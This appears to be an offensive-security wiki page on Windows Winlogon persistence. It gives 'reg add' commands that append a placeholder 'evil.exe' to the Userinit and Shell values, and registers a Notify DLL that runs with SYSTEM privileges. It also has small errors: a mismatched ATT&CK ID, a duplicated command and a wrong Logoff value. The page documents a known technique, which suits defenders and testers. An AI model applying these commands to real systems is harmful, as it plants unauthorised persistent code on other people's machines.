Winlogon Persistence

MITRE ATT&CK™ Boot or Logon Autostart Execution: Winlogon Helper DLL - Technique T1547.001

Theory

Winlogon is a critical Windows component responsible for handling user logins, loading user profiles, and managing session behaviors post-authentication. Attackers can abuse Winlogon registry keys to establish persistence by configuring malicious executables or DLLs to execute during the login process.

Registry Keys & Their Behaviors:

The following keys can be modified for persistence:

• Shell – Specifies the user shell (default: explorer.exe). Replacing this value with a malicious executable ensures it is launched instead of (or alongside) Explorer.

• Userinit – Defines the path of userinit.exe, which is responsible for setting up the user environment after login. Adding a malicious binary here ensures execution before the user's desktop loads.

• Notify – Points to a DLL that is loaded into Winlogon’s process for handling session-related events (e.g., lock, unlock, login, logout). A malicious DLL here will be loaded by winlogon.exe, often running with SYSTEM privileges.

Practice

Registry entries under HKU/HKCU will only apply to the user. Registry entries under HKLM will apply to everyone

If we'd replace any of the executables with some reverse shell, we would break the logon sequence, which isn't desired. Interestingly, you can append commands separated by a comma, and Winlogon will process them all.

Userinit

We may edit the Userinit key to make our payload executed during Windows logon

• HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

• HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "C:\Windows\System32\Userinit.exe, C:\Windows\evil.exe" /f

Shell

We may edit the Shell key to make our payload executed during Windows logon

• HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

• HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, C:\Windows\evil.exe" /f

Notify

We may edit the Notify key to make our payload executed during Windows logon. This registry key is typically found in older operating systems (prior to Windows 7) and it points to a notification package DLL file which handles Winlogon events. Replacing DLL entries under this registry key with an arbitrary DLL will cause Windows to execute it during logon.

• HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify

Add the following values and keys to the registry. These values communicate to Winlogon.exe and let it know which procedures to run during an event notification. Add as few or as many notification events as needed.

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\NameOfProject
       \Asynchronous  REG_DWORD  0
       \Dllname       REG_SZ     NameOfDll.dll
       \Impersonate   REG_DWORD  0
       \Logon         REG_SZ     StartProcessAtWinLogon
       \Logoff        REG_SZ     StopProcessAtWinLogoff
       \...           REG_SZ     NameOfFunction

The DLL will be executed with SYSTEM level privileges

The DLL should be in %NTROOT%\system32

#Create Project in Notify
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\EvilLogon"

#Create subkeys
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\EvilLogon" /t REG_DWORD /v Asynchronous /d 0
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\EvilLogon" /t REG_DWORD /v Asynchronous /d 0
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\EvilLogon" /t REG_SZ /v Dllname /d "evillogon.dll" 
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\EvilLogon" /t REG_SZ /v Logon /d "StartProcessAtWinLogon"
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\EvilLogon" /t REG_SZ /v Logoff /d "StartProcessAtWinLogon"
...

Resources

Boot or Logon Autostart Execution: Winlogon Helper DLL, Sub-technique T1547.004 - Enterprise | MITRE ATT&CK®